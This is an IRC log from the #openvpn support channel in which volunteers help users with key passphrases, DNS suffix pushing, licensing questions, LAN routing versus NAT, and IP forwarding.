06:24 <@dazo> Tue Jun 11 13:32:07 2013 us=245269 event_wait : Interrupted system call (code=4)
06:24 <@dazo> Tue Jun 11 13:32:07 2013 us=245642 TCP/UDP: Closing socket
06:24 <@dazo> which got aborted by you/your client ... for some reason
06:25 < Jaga> dazo: I aborded them
06:26 <@dazo> the last one is wrong password for your SSL key (--key)
06:26 < Jaga> I run them from the command line and crtl+c is the only way I know to close it
06:26 <@dazo> that's the correct way to stop it from console (running in the foreground)
06:26 < Jaga> yea, the first one is when it prompts me for the passwd and I give it
06:26 < Jaga> the second one is when it prompts me and I don't give it
06:27 <@dazo> well, the key you use tells OpenVPN it is encrypted and OpenVPN needs the password to get access to the key contents
06:28 < Jaga> my config file has "auth-user-pass /etc/openvpn/client/pass"
06:29 < Jaga> and it does recongnize the file exists
06:29 <@dazo> That is something completely different
06:29 < Jaga> but it's not fetching the password from the second line of the file
06:29 <@dazo> --auth-user-pass is if your server uses username/password authentication in addition to certificates
06:30 < Jaga> you're saying there is no way to automate the password prompt then openvpn is starting?
06:30 < Jaga> and that this file isn't used cause the server setup doesn't allow it?
06:30 <@dazo> typically the OpenVPN is then configured to use --plugin with a authentication plugin (auth-pam, auth-ldap, auth-radius, eurephia, etc, etc) ... or a --auth-user-pass-verify
06:30 < Jaga> I mean, I can't start it with /etc/init.d/openvpn if I don't have the password passed through some file
06:31 <@dazo> There are two different mechanisms here
06:31 <@dazo> a) PKI / client cert + client key  .... the key may be password protected
06:31 <@dazo> b) Server side user authentication, using --auth-user-pass
06:32 <@dazo> to avoid typing in a password on the client when the key is encrypted, you need to remove the encryption .... just a sec, I'll point you to a doc here
06:33 <@dazo> http://www.madboa.com/geek/openssl/#key-removepass
06:33 <@vpnHelper> Title: OpenSSL Command-Line HOWTO (at www.madboa.com)
06:33 < Jaga> dazo: remove - on which side?
06:33 <@dazo> The side which asks for the password
06:33 < Jaga> I only have access to the client, server is out of my reach
06:33 < Jaga> well, I get asked when I start openvpn
06:34 <@dazo> right, and it asks for a passphrase ... so you do this on the client side
06:34 <@dazo> for the b) ... then you need to know how the server is configured .... if a authentication plug-in or --auth-user-pass-verify script is used ... then you need at least --user-pass-auth ... the username/password here should be provided by your VPN provider
06:35 <@dazo> (it is normally not related to your local login account)
06:36 < Jaga> idk how the server is set up, I have no access to it aside from sshing into one of the machines in there through that vpn tunnel
06:37 <@dazo> then you got a client config from your VPN provider, right?
06:37 < Jaga> I got from admins the certificates, config file (almost identical to the template) and key file
06:37 < Jaga> and I got a password that I get prompted for when openvpn starts
06:37 <@dazo> right ... use those files, unmodified first ... the password for the key should be provided from your admins
06:38 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
06:38 <@dazo> to remove that password, ensure you are allowed to do so by your admins .... and then follow the info on the URL I pointed you at
06:38 < Jaga> I'm using them, I did connect to the vpn
06:39 < Jaga> oook, I'll ask them
06:39 < Jaga> thank you for clarifying it for me
06:40 -!- monk [~aknm@196.14.139.96] has joined #openvpn
06:40 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
06:40 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
06:55 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 246 seconds]
07:08 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
07:12 -!- monk [~aknm@196.14.139.96] has joined #openvpn
07:12 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
07:12 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
07:13 <@ecrist> good morning
07:18 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
07:47 -!- moartr4dez [~moartr4de@168.62.170.69] has joined #openvpn
07:57 -!- zu [~zu@ks387228.kimsufi.com] has quit [Quit: Changing server]
08:24 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:07 -!- kjs [~kjs@fedora/kjs] has joined #openvpn
09:07 < kjs> Is there any way of pushing multiple DNS Suffix's ? When I add more than one it only pushes the last in the list .
09:09 < EugeneKay> You can only have one suffix
09:09 < kjs> is there a way around this ?
09:09 < EugeneKay> No. That's how DHCP works.
09:10 < kjs> I just want it in the DNS Suffix Search list.
09:10 < EugeneKay> You can add multiple Search Domains, but that's something you need to configure separately
09:10 < EugeneKay> It's not part of dhcp
09:10 < pekster> kjs, you could probably use an --up script and look at the foreign_option_{n} support in the manpage, or do it fully client side
09:10 < kjs> I see
09:10 < pekster> But yea, OpenVPN won't natively do that. In terms of how DHCP works, it's designed to tell the host what "this" domain is (the one it is on.) You'd never be on "two" domains from a single DHCP server
09:10 < kjs> I wonder how the previous admin did it for the LAN side.
09:10 < EugeneKay> Or, start abuisng CNAMEs ;-)
09:11 < pekster> I guess I have to wonder why you want this, but that's up to you I suppose
09:11 < kjs> pekster: i dont
09:11 < pekster> Maybe it's time you fix your internal DNS so that you don't need it
09:11 < kjs> pekster: I wish I could.
09:12 < kjs> multiple sites etc., this site was bought... I need users to look up domains at another site when VPN'd through this site...
09:12 < kjs> atm current LAN DNS is bodged with like 6 search suffix's
09:13 < pekster> Then why don't they use DNS how it was intended? If you want box2 at site4, you'd presumably do box2.site4.example.net
09:14 < pekster> If you're at site3, it's not really the intent to allow you to `ping box2` and get the one at site4 unless you qualify the DNS name
09:14 < kjs> because everything would need to be reconfigured, that would take time I currently don't have - id love to redo that and the 40 other things that are hacked up
09:15 < pekster> Or sure, CNAME's as EugeneKay suggested so you have a 'remote-host1.site3.example.net' that on the backend CNAME's to box2.site4.example.net. That's kinda hackish, but a solution I suppose
09:15 < kjs> i've never seen suffix bodging liuke this before.
09:16 < kjs> so create a cname for the DNS on the existing sites network pointing at the other sites dns server?
09:17 < pekster> That's not how CNAME's worwk
09:17 < pekster> You don't point "at the DNS server" -- that's how namespace deligation works
09:18 < pekster> CNAME's just say "the record you want is held by this A record, not contained in the record you looked up"
09:18 < kjs> ok
09:18 < kjs> i get that
09:18 < kjs> but you're saying point a cname at the other site's suffix to search ?
09:18 < pekster> If you're looking to hack a solution instead of actually fixing your problem, yes
09:19 < pekster> If you expect `ping box2` to work when that system is really at a different site, (it's at 4, you're at 3 as in my prior example) you can add a CNAME for box2.site3.example.net that contains the record box2.site4.example.net. And it all breaks if you ever actually get a box2.site3
09:20 -!- JAVACODER [~JAVACODER@2.190.34.77] has joined #openvpn
09:20 < pekster> (and it's messy as every site needs to effectively contain records of systems at other sites. DNS wasn't ment to be abused like that, but it can be)
09:20 -!- baobeiiiii [~baobeiiii@180.154.233.155] has joined #openvpn
09:20 < kjs> at the moment I only need one host to resolve... at the remote site.
09:21 < kjs> so it still requires the user to use the NEW cname i'm creating on the local network.
09:22 < pekster> Did I miss what you were doing? I thought the whole point was to let your lazy users (devs?) use unqualified names becuase they didn't understand how DNS works
09:23 -!- joshie_ is now known as joshie
09:23 < kjs> it's actually some stupid lotus notes app users are using over the VPN, it tries to lookup a hostname name that does not resolve so fails.
09:24 < pekster> So set up a new DNS view that's authoratitive for that domain to internal users and be done with it
09:24 < pekster> split-horizon DNS is best avoided where possible, but it's an easy way to get an authoritative zone exposed to internal networks
09:25 < kjs> both zones are internal
09:26 < kjs> i don't need split-horizon
09:26 < kjs> any way i'm just going to get the users that use this app to add the suffix manually on the TAP adapter
09:29 < kjs> or hack the hosts file
09:29  * kjs hides 
09:32 < JAVACODER> what is license of openvpn ?
09:34 < pekster> JAVACODER, GPLv2
09:35 < JAVACODER> pekster: but what is this http://openvpn.net/index.php/access-server/pricing.html ?
09:35 <@vpnHelper> Title: Pricing Guide (at openvpn.net)
09:36 < pekster> That's *not* OpenVPN, that's "Access Server", a commercial, non-free, not-GPL suite that aims to be "mostly OpenVPN compatible on the wire"
09:36 < pekster> !downloads
09:36 < pekster> !download
09:36 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
09:36 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
09:36 < pekster> that's openvpn
09:36 < JAVACODER> oh ok pekster
09:37 < pekster> If you wanted more details on the licensing status of the libraries openvpn links against in addition to the actual openvpn codebase, see: https://github.com/OpenVPN/openvpn/blob/master/COPYING
09:37 <@vpnHelper> Title: openvpn/COPYING at master · OpenVPN/openvpn · GitHub (at github.com)
09:38 < pekster> JAVACODER: If you don't mind me asking, how did you end up on the AS pricing page?
09:40 < JAVACODER> pekster: yes i wronged ;)
09:41 < JAVACODER> pekster: can i use openvpn in my project (integriation with my codes) ?
09:42 <@dazo> JAVACODER: you can, as long as any modifications you do to openvpn will be made available and you provide the accurate copyright agreement OpenVPN uses (GPLv2)
09:43 < JAVACODER> dazo: ok master
09:43 < JAVACODER> thanks for developing this pretty APP :)
09:44 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 245 seconds]
09:45 < JAVACODER> in openvpn can i disable ssl featur ?
09:45 <@dazo> JAVACODER: you might find more info here ... https://www.gnu.org/licenses/old-licenses/gpl-2.0-faq.html ... however, you say APP ... if you mean the Android stuff, that got a different license ... so you need to comply to the copyrights there
09:45 <@vpnHelper> Title: Frequently Asked Questions about the GNU GPL v2.0 - GNU Project - Free Software Foundation (at www.gnu.org)
09:46 <@dazo> JAVACODER: yes ... but then you're just using a Virtual Network (VPN without the P) .....
09:47 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
09:55 < JAVACODER> dazo: i write a tunnel system with special feature (specialed for my customer) this app have 2 node client and server task of Client node is grab all network traffic and transfer to server node  , server node worked as well but in client node main problem is grabbing of all traffic of system, can i use openvpn app for grabbing network traffic of user and send to my client node ( i will make a traffic listener server ip:port for
09:55 < JAVACODER> listening to openvpn ) , in fact i want to use openvpn for network grabber
09:55 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
09:56 < JAVACODER> this solution be worked or no ?
09:57 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:57 < JAVACODER> sorry for my bad english ;)
09:57 <@dazo> I'm sorry, I'm not fully able to understand what you try to achieve with this ....
09:58 <@dazo> why can you not use openvpn as-is, without adding anything extra?
09:58 <@dazo> as-is ==  as it is
09:59 <@dazo> it sounds like all you want is a V(P)N after all ....
10:01 -!- Neal_ [neal@felix.ineal.me] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
10:03 < JAVACODER> i maked special protocol for my customer and i just want to transfer network of client , i think for this task i must be implements TAP/TUN or worked win32 libs ! but openvpn is ready to use
10:04 <@dazo> exactly ... so just make your application start openvpn with a fairly straight forward configuration file (all can be provided via command line if you want) ... and route traffic via the VPN
10:04 <@dazo> then you don't need to worry about TUN/TAP devices ... you just make the server side application listen to the IP address the client side will use
10:06 < JAVACODER> yes this it ;) , i think i should to try openvpn with my tunnel ;)
10:06 < JAVACODER> yes this is * ;) , i think i should to try openvpn with my tunnel ;)
10:08 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:10 -!- mndo [~mndo@188.251.202.169] has joined #openvpn
10:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
10:16 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:18 -!- raidz_away is now known as raidz
10:35 -!- ShaunR [~ShaunR@freenode/sponsor/NDChost.com] has joined #openvpn
10:37 -!- ShaunR- [~ShaunR@staff.ndchost.com] has quit [Ping timeout: 245 seconds]
10:46 -!- barhom_ [barhom@netsat.se] has quit [Read error: Operation timed out]
10:46 -!- brad [~brad@78.129.242.122] has quit [Ping timeout: 248 seconds]
10:49 -!- ShaunR [~ShaunR@freenode/sponsor/NDChost.com] has left #openvpn []
10:49 -!- barhom [barhom@netsat.se] has joined #openvpn
10:54 -!- brad [~brad@78.129.242.122] has joined #openvpn
11:05 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
11:05 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 248 seconds]
11:06 -!- master_o1_master [~master_of@p4FF24728.dip0.t-ipconnect.de] has joined #openvpn
11:10 -!- Thermi- [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:11 -!- master_of_master [~master_of@p4FF24728.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
11:11 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 246 seconds]
11:11 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
11:11 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 246 seconds]
11:12 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
11:12 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
11:23 <@plaisthos> JAVACODER: for the ics-openvpn app the GUI code is also GPL licensed. You can make an offer for a non gpl licensed copy of the UI code but openvpn is always GPLv2
11:26 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 248 seconds]
11:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:33 -!- dangerarea [~kevin@95.47.118.109] has quit [Quit: Lost terminal]
11:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-tlserlazaeqjcbfq] has quit [Ping timeout: 245 seconds]
11:37 -!- kirin` [telex@gateway/shell/anapnea.net/x-mfamhnxgzdxyfter] has joined #openvpn
11:37 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
11:47 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
11:49 -!- gardar [~gardar@gardar.net] has joined #openvpn
12:02 < cornfeedhobo> hello guys. I have a pretty basic setup and everything is working fine for web browsing. now i am trying to expand the vpn's use for internal ssh access and ssh and telnet give me a "connection refused" is there something basic i am missing? https://ezcrypt.it/O16n#FPgOsjPdWZ5NTGsDIoqp1bj4
12:02 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
12:06 < pekster> Why are you using 10/8 on your physical NIC?
12:07 < cornfeedhobo> eth1 is for LAN
12:07 < pekster> Yes. And do you have a need to connect 16 million devices on your LAN?
12:08 < cornfeedhobo> no, i dont need the entire /8 =P i am just testing and wanted to tighten that up at the end
12:08 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:09 < pekster> I bring it up becuase it increases the chance of network conflicts due to overlapping ranges on remote ends. Otherwise there's nothing wrong with the setup
12:09 < cornfeedhobo> hmmm thats an interesting point i didnt think of
12:09 < pekster> Do note that 172.8.23.0/28 is not RFC1918 IP space, so unless *you* are allocated that block, you shouldn't be using it
12:10 < pekster> (It belongs to AT&T according to whois)
12:10 < cornfeedhobo> hmmm.. brb. that would be my fault
12:11 < pekster> !rfc1918
12:11 <@vpnHelper> "rfc1918" is "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
12:11 < cornfeedhobo> 172.16 ah!
12:12 < cornfeedhobo> hmm brb i am going to clean that up and my subnets
12:12 < pekster> I'm not quite sure what you're doing with the netfilter rules; did you really intend to redirect *all* traffic bound for 10/8 coming in on the VPN to the listed destination on line 30
12:13 < cornfeedhobo> that was the thought
12:13 < pekster> It doesn't make sense is my point. What is the purpose?
12:14 < cornfeedhobo> so computers attached to the lan  (10.x.x.x) can be addressed through the vpn
12:14 < pekster> THat won't do what you want
12:15 < cornfeedhobo> i am starting to see that.... especially since any 10.x.x.x address is responding to pings right now. which makes 0 sense
12:15 < pekster> Without seeing a *complete* netfilter ruleset (ie: `iptables-save -c`) it's impossible to say, but that rule on line 30 will cause any VPN-sourced traffic to other LAN hosts never to reach the destination
12:15 < pekster> !serverlan
12:15 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
12:15 < pekster> You want that guide/flowchart, cornfeedhobo
12:15 < cornfeedhobo> i am very new to iptables and dont want to present myself anyother way
12:15 < cornfeedhobo> ok brb
12:15 < pekster> Don't NAT RFC1918 space you control. Set up routing between your networks
12:16 < cornfeedhobo> but what if they are different classes?
12:17 < pekster> What is this, the 80's? We haven't had "classful" routing in decades now
12:17 < pekster> In other words, it doesn't matter. A network is a network
12:17 < cornfeedhobo> hmm ok
12:28 < JAVACODER> openssl and openssh Developers and openvpn Developer are as same ?
12:31 < pekster> No, they're completely separate projects JAVACODER; openvpn is under the GPLv2 license, while OpenSSL is under the OpenSSL license
12:32 < JAVACODER> i think this seperated projects is for a Developer
12:33 <@dazo> JAVACODER: openSSH and openSSL are two different teams ... even though, it might be some provides patches to both projects
12:42 < cornfeedhobo> pekster: so i am a bit confused. again i am not a networking genious so sorry if my questions are silly. are you saying i should use a route to route all tun0 traffic to eth1 (lan)? but then how do i reach eth0 when i want to reach the internet through the vpn?
12:43 < cornfeedhobo> (thank you by the way for the help)
12:43 <@krzee> openvpn can even run with polarssl instead of openssl
12:43 < pekster> I have no clue what eth0 is; you didn't list it in your interface output. Looking back at your paste, your netfilter rules appear to reference it though
12:43 < pekster> What exactly are you trying to do?
12:44 < cornfeedhobo> pekster: my apologies, i should have included it, it is my outside (inet) connection
12:44 < cornfeedhobo> My goal is to have a VPN that can be used for all browsing purposes as well as reach the LAN
12:45 -!- mndo [~mndo@188.251.202.169] has quit [Remote host closed the connection]
12:45 < cornfeedhobo> so i started by getting masqurading working for eth0 and then set about seperating LAN traffic, of at least that was the original thought process
12:46 < cornfeedhobo> or*
12:47 < cornfeedhobo> let me start with another paste now tht i have things cleaned up a bit
12:48 < pekster> If you're using/pushing --redirect-gateway to the client, you don't need to explicitly push your LAN network (although it won't hurt to do that)
12:51 < cornfeedhobo> https://ezcrypt.it/P16n#fPctzrVe8gcEAnym6eTAgstk
12:51 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
12:52 < pekster> You don't want that rule on line 27, just as I noted before
12:52 < pekster> That will *prevent* VPN clients from accessing the LAN, and will instead NAT traffic onto the VPN server's internal IP
12:52 < cornfeedhobo> indeed. i will remove it, i just wanted to be accurate about what is in place before proceeding
12:53 < pekster> If that host isn't the default route for the LAN, you need to more carefully read the !serverlan info
12:53 < pekster> (you need a return route for the LAN to reach VPN clients)
12:53 < cornfeedhobo> ok let me check the flow again
12:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:55 < cornfeedhobo> this flow chart assumes you have already connected to the vpn?!ipforward
12:55 < cornfeedhobo> !ipforward
12:55 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
12:55 < cornfeedhobo> !linipforward
12:55 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
12:56 < pekster> The flowchart assumes nothing
13:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-mfamhnxgzdxyfter] has quit [Ping timeout: 248 seconds]
13:13 -!- kirin` [telex@gateway/shell/anapnea.net/x-upslbgeajzjkkwhe] has joined #openvpn
13:36 -!- JAVACODER [~JAVACODER@2.190.34.77] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
13:38 < cornfeedhobo> so i started over with no iptable rules and a somewhat new config. i am at the point where i can not reach a machine behind the server lan.
13:39 < cornfeedhobo> and since this is a static lan and i cannot access machines behind the lan to add a route, i have to use NAT
13:39 < cornfeedhobo> i think
13:40 < pekster> "static LAN"
13:40 < pekster> ?
13:40 < pekster> !route_outside_openvpn
13:40 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
13:41 <@krzee> cornfeedhobo, if you have not connected to the vpn you will fail the first entry in the flowchart
13:42 < cornfeedhobo> indeed.
13:44 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:45 < cornfeedhobo> what gateway? no one controls lan addresses. they are arbitrarily assigned. no dhcp. maybe i am missing something?
13:45 < cornfeedhobo> i don't even enter a gateway when i add machines to the lan
13:46 < cornfeedhobo> thats why i think i need nat
13:47 < pekster> How do your LAN machines go anywhere?
13:47 < pekster> Or do they really not connect to the Internet at all?
13:47 < cornfeedhobo> they have two interfaces
13:48 < pekster> Why aren't you using the one you can route with?
13:49 < pekster> Sure, you can either NAT it on the VPN server to your "standalone" LAN, although then you loose the true source information as you do so. Or add a route to the default gateway of the LAN clients so that traffic gets sent back via the VPN server
13:49 < pekster> I don't understand why you're over-complicating this with NAT when routing would be easier and less hack-ish
13:56 < cornfeedhobo> well i am new to configuring switches, but i will see if i gan make the cisco act as gateway for me
13:56 < cornfeedhobo> can*
13:57 -!- b0fh_ua [~b0fh_ua@static.104.229.46.78.clients.your-server.de] has left #openvpn []
14:00 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
14:01 < pekster> switches aren't routers. Routers are routers
14:02 < pekster> You can do what you seem to originally want by using NAT as packets go onto your unroutable LAN, but learning to route would be a far better idea unless there's a reason you're trying to avoid it
14:02 < pekster> Or adding a static return route to the VPN via the VPN server
14:02 < pekster> Or in theory bridging, but as before, using bridging becuase you "don't feel like" setting up routing is usually a poor choice
14:03 < cornfeedhobo> the inability te route seems to be a design choice. but i am new here so i am figuring the structure out
14:06 < cornfeedhobo> set me ask a question that may be a bit silly. before most of my networking experience was in soho situations with linksys/ddwrt routers. this is the first time i have dug into static anything. arent gateways only needed for dhcp ?
14:06 < cornfeedhobo> so let*
14:06 < pekster> You seem to need a much more basic guide to how IP routing works
14:06 < pekster> !tcpip
14:06 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
14:06 < cornfeedhobo> hmm thanks i will have a good read
14:06 < pekster> This channel isn't designed to help people learn networking, but use OpenVPN assuming the user already has the basic knowledge
14:07 < cornfeedhobo> well i was the only one who aced the networking class, but that was years ago
14:09 < cornfeedhobo> and i dont really think college prepares you at all...
14:09 < rob0> Schools are not good places to learn this. :) You learn by doing and reading good reference material.
14:09 < cornfeedhobo> rob0: soooo true
14:09 < rob0> Anyone with a college degree who is good at networking got there in spite of college, not because of it.
14:10 < cornfeedhobo> whats funnier, is that teacher had me back in to teach how to use git, after i dropped out =P
14:10 < rob0> heh, yes
14:11 < cornfeedhobo> pekster: thanks for the help btw :)
14:11 -!- dazo is now known as dazo_afk
14:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:23 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
14:25 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
14:25 < lmm_> is there any way to tell from the server what IP a client got?
14:29 < pekster> lmm_: It'll be in the logs, as well as available during a --client-connect script in env-vars. Plus you can use a --status file, or a SIGUSR2 signal to dump thath same status info the log location
14:30 < lmm_> Thx
14:40 -!- kirin` [telex@gateway/shell/anapnea.net/x-upslbgeajzjkkwhe] has quit [Ping timeout: 260 seconds]
14:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-fxylscfrxadmffon] has joined #openvpn
15:14 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:16 < i7c> Can i set DNS servers on the client side via a config file?
15:17 < i7c> Or do i need to push them?
15:17 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
15:17 < pekster> i7c, any option that can be pushed can be used locally too (without the push statement, of course)
15:17 < i7c> Oh. Silly me. Thank you!
15:21 -!- master_of_master [~master_of@p4FF24F56.dip0.t-ipconnect.de] has joined #openvpn
15:23 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
15:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:24 -!- master_o1_master [~master_of@p4FF24728.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
15:32 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
15:47 -!- Denial [Denial@90.208.15.68] has quit []
15:48 -!- mattock is now known as mattock_afk
16:05 -!- Denial [Denial@90.208.15.68] has joined #openvpn
16:06 -!- Denial [Denial@90.208.15.68] has quit [Client Quit]
16:07 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has quit [Ping timeout: 264 seconds]
16:15 -!- thmz [Thomas@cm-84.215.18.19.getinternet.no] has joined #openvpn
16:17 -!- alexander__b [~alexander@fsf/member/alexanderb] has joined #openvpn
16:18 < alexander__b> is there some trivial way to set up a server that uhm lets another computer connect to one of my clients and use it?
16:18 < alexander__b> my current design idea is to have an openvpn server that I through iptables/ip route hackery nat to the openvpn client I want someone to connect through.
16:19 < alexander__b> oh and I'm not a native English speaker. your topic says I need to state that.
16:20 -!- thmz [Thomas@cm-84.215.18.19.getinternet.no] has quit [Ping timeout: 264 seconds]
16:20 -!- thmz [Thomas@cm-84.215.18.19.getinternet.no] has joined #openvpn
16:20 -!- thmz [Thomas@cm-84.215.18.19.getinternet.no] has quit [Client Quit]
16:24 < pekster> alexander__b: No worries on English, it's just easier for us to use more clear English when replying to you. Is this other computer also on your VPN, or will it be connecting outside the VPN reaching the server externally?
16:25 < alexander__b> I have an openvpn client dæmon on this box. I want to make a server that "serves" the client to another computer.
16:25 < alexander__b> so, yes it is outside.
16:26 < pekster> If you want an external system to connect to the server and reach your VPN client, you need to NAT it in from your server
16:26 < alexander__b> afraid of that...
16:26 < alexander__b> am hole punching ATM.
16:26 < alexander__b> I need a better solution than this. ugh.
16:26 < pekster> A special case exists if you are giving your clients a public IP, because then no NAT is involved. Either way the routing is the same. The VPN clients are only ever reachable through the VPN server
16:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:31 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:31 -!- JesseC is now known as Guest72121
16:33 -!- Guest72121 [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 260 seconds]
16:51 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
16:52 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:01 -!- trumee [~parul@185.11.37.181] has quit [Ping timeout: 256 seconds]
17:07 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
17:08 -!- trumee [~parul@93.186.149.134] has joined #openvpn
17:36 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
17:41 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Read error: Operation timed out]
17:41 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:42 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:47 -!- matsh [divine@nanogene.org] has joined #openvpn
17:47 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Ping timeout: 256 seconds]
17:47 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
18:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:16 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 276 seconds]
18:17 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
18:36 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
18:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:41 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
19:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
20:27 -!- master_of_master [~master_of@p4FF24F56.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
20:27 -!- master_of_master [~master_of@p4FF24F56.dip0.t-ipconnect.de] has joined #openvpn
